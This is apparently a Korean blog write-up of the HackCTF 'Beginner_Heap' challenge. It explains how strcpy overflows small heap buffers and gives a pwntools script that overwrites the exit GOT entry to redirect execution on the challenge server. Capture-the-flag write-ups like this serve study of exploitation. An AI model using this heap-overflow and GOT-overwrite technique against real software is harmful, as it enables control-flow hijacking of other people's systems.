728x90
  • Beginner_Heap

 

: 문제에서 주어진 파일을 IDA_64bit로 열게 되면, 아래와 같은 코드를 확인할 수 있다.

 

 

 

먼저 main에서 v3에서는 8바이트, v4에서는 16바이트를 malloc 함수로 동적할당을 받고 있는 것을 확인할 수 있다. 

 

여기서  추가적으로 v3+1에 8바이트, v4+1에 8바이트가 동적 할당을 받고 있다는 것을 확인할 수 있다. 

 

메인 함수를 보면 strcpy 함수가 있어서 heapoverflow를 이용하여 문제를 해결할 것이라 추측할 수 있는데요.

strcpy 함수에 의해 s 변수에 최대 4096바이트(0x1000) 크기의 값을 입력받고 v3+1에 저장한다. 또한 v4+1에서도 같이 적용된다. 

 

여기서 문제는 동적할당 한 크기 보다 입력받는 크기가 더 크다는 점에서 heapoverflow를 일어나는 것을 확인 할 수있다.

 

 

v4+1 (8byte)
v4 (16byte)
v3+1 (8byte)
v3 (8byte)

 

: 위의 함수에 따라서 스택구조는 이와 같이 되어 있을 것이고,  첫 번째 입력시에 버퍼값을 쓰래기 값으로 채워 덮여질 주소 4바이트를 추가한 총 44바이트를 입력한다. 후에 2번째 입력을 받을 때 got 주소를 넣어 flag 값을 구할 수 있다.

 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")

payload1 = "A"*40 + p64 (e.got['exit'])
payload2 = p64(0x400826)

p.sendline(payload1)
p.sendline(payload2)

p.interactive()

 

 

 

 

 

 

https://ctf.j0n9hyun.xyz/challenges#Beginner_Heap

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

+ Recent posts